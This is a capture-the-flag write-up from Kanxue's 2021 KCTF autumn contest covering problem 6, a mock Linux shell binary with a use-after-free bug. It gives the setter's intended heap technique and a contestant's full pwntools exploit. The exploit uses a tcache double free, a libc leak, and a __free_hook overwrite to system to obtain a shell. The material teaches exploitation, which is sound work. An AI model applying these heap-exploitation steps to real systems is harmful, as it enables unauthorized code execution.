看雪·眾安 2021 KCTF秋季賽的第六題《窺伺者誰》已於今天中午12點截止答題,經統計,本題圍觀人數多達1080人,共計6支戰隊成功破解。
恭喜v3r1t4s501用時19720秒拿下“一血”,接下來和我一起來看看該賽題的設計思路和相關解析吧~
出題團隊簡介
第六題《窺伺者誰》出題方 天漢安全團隊:
戰隊成員如下:
賽題設計思路
功能描述
程式實現了一個linux系統的命令系統,能夠建立檔案和資料夾、銷燬檔案和資料夾、進入某個目錄寫入檔案等,類似於一個選單題。
程式的輸出字元均有有效字元檢查,禁止輸出不可見字元。
考點
house of Corrosion(https://github.com/CptGibbon/House-of-Corrosion)
House of Corrosion 是一種針對glibc2.27跟glibc2.29的堆利用技術。
前提條件
需要一個UAF漏洞
可以分配較大的堆塊(size <=0x3b00)
不需要任何洩露
主要攻擊步驟
具體參考
透過爆破4bit,改寫bk進行unsortedbin attack 改寫global_max_fast變數
結合堆風水技術,透過UAF漏洞以及fastbin corruption去篡改stderr檔案流物件
觸發stderr得到shell
漏洞點
func_rm() 函式中,釋放檔案或目錄的節點結構和緩衝區。此外,被釋放的節點透過 unlink_node()函式與其父節點解除連結,當釋放得目標與不在當前目錄下時,就會不允許unlink_node()函式,進而導致UAF漏洞。但是使用者的輸入經過限制,無法輸出不可見字元等,無法洩露資訊。
其他見附件(https://bbs.pediy.com/thread-270174.htm)
賽題解析
本賽題解析由看雪論壇xi@0ji233給出:
題目分析
題目模擬了一個手寫的shell。
裡面的檔案系統可以分為3個結構體,name,data,text,目錄具有name和data,普通檔案具有三個,結構體大致如下:
struct name{ char file_name[0x20];};struct data{ long long is_not_dir; data *pre_dir;//檔案這裡標為1,目錄標為0 data *son[16];//普通檔案這裡不使用 name *file_name; text *file_data;//目錄不具有此專案}struct text{ char text[?];}
主要是有一個uaf的漏洞,如果建立資料夾在裡面建立檔案之後寫內容的話,在資料夾的外面刪掉這個檔案會導致裡面的text堆塊被free,但是不清空指標。由於是2.27的libc,可以直接在tcache 中double free實現任意申請。
由於各種保護拉滿,所有地址都未知,那麼此時必須先想辦法洩露出libc的地址,如果能洩露出libc的地址,那麼可以直接double free 劫持free hook去getshell。
能輸出堆塊上內容的基本就一個ls指令,但是它在輸出之前會check目錄名是否合法,合法的條件基本就是,肯定遮蔽了特殊字元和不可列印的那些位元組的,如果要洩露出一個地址那麼必定是會含有這些位元組的。但是我注意到了echo函式,echo函式的非重定向選項會先strlen一遍那個sysbuf然後根據這個長度去洩露,並不會check上面的位元組。
如果我在上面帶上了libc的地址那麼就可以開心地洩露了。但是它這個讀非常的安全,遇到\n才會截止輸入並且那個\n最後會變成\0,那麼唯一的繞過方法就是直接讀它個0x5000的資料,然後後面放上libc的地址就可以洩露了。
那麼我先double free,然後再在sysbuf上面的最後八個位元組偽造成一個size,再讓指標指向它free,這樣等會填充0x5000個位元組的時候後面直接會出現libc的地址。由於這是2.27的版本,構造unsorted bin必須要先填滿tcache,且進入unsorted bin的話會對前後堆塊check,所以這裡我們為了check大小剛好構造為0xf1大小,然後此時再建立7個檔案,並讓他的text堆塊對應0xf1的大小並一一刪除填滿tcache。這樣的話free那個堆塊進入unsortedbin之後就會攜帶libc的地址了。
需要注意,因為只有最後三位偏移固定,所以double free之後要爆破半個位元組才能成功指到對應的地方去free。free之後就非常簡單,直接在sysbuf上填寫0x5000個字元然後echo直接輸出就可以洩露出那個地址了。洩露出來了之後就很簡單了,故技重施,double free劫持free_hook位system,然後刪除一個帶有/bin/sh字串的檔案就可以愉快地getshell了。
exp
from pwn import *#context.log_level='debug'context.arch='amd64'context.os='linux'libc_version='2.27' global pdef conn(x,file_name,port=9999,ip='101.35.172.231'): if x: p=process(file_name) else: p=remote(ip,port) return ELF(file_name),ELF(file_name),p def ls(name): p.sendlineafter(b'$',b'ls') p.sendlineafter(b'path> ',name) def mkdir(name): p.sendlineafter(b'$',b'mkdir') p.sendlineafter(b'name',name) def rm(name): p.sendlineafter(b'$',b'rm') p.sendlineafter(b'filename> ',name) def cd(name): p.sendlineafter(b'$',b'cd') p.sendlineafter(b'path> ',name) def echo(msg,red,path=b'./'): p.sendlineafter(b'$',b'echo') p.sendafter(b'arg>',msg) p.sendlineafter(b'redirect?>',red) if red==b'Y' or red==b'y': p.sendlineafter(b'path> ',path) def touch(name): p.sendlineafter(b'$',b'touch') p.sendlineafter(b'filename> ',name) def pwn(): global p elf,libc,p=conn(0,'./chall',port=10000) libc=ELF('./libc.so.6') mkdir(b'dir') cd(b'dir') touch(b'flag') echo(b'a'*0x10+b'\n',b'y',b'flag') cd(b'..') for i in range(2): rm(b'./dir/flag') gdb.attach(p) echo(p16(0x3260)+b'\n',b'y','dir/flag') touch(b'flag1') echo(b'a'*0x4ff8+p64(0xf1),b'n') echo(b'a'*8+b'\n',b'y',b'flag1') touch(b'flag2') touch(b'flag3') touch(b'flag4') gdb.attach(p) echo(b'/bin/sh\0'+b'\n',b'y',b'flag2') for i in range(7): touch(str(i)) echo(b'a'*0xe0+b'\n',b'y',str(i)) for i in range(7): rm(str(i)) rm(b'flag2') echo(b'a'*0x5000,b'n') #p.recvuntil(b'\x7f') libc_addr=u64(p.recvuntil(b'\x7f',timeout=0.5)[-6:]+b'\0\0')-96-0x10-libc.sym['__malloc_hook'] success('libc_addr:'+hex(libc_addr)) rm('dir/flag') echo(p64(libc_addr+libc.sym['__free_hook'])+b'\n',b'y',b'dir/flag') echo(b'/bin/sh\n',b'y',b'flag3') echo(p64(libc_addr+libc.sym['system'])+b'\n',b'y',b'flag4') rm(b'flag3') #gdb.attach(p) p.interactive()while True: try: pwn() except: continue
往期解析
1、看雪·眾安 2021 KCTF 秋季賽 | 第二題設計思路及解析
2、看雪·眾安 2021 KCTF 秋季賽 | 第三題設計思路及解析
3、看雪·眾安 2021 KCTF 秋季賽 | 第四題設計思路及解析
4、看雪·眾安 2021 KCTF 秋季賽 | 第五題設計思路及解析
第七題《聲名遠揚》正在火熱進行中,
還在等什麼,快來參賽吧!
- End -
公眾號ID:ikanxue
官方微博:看雪安全
商務合作:wsc@kanxue.com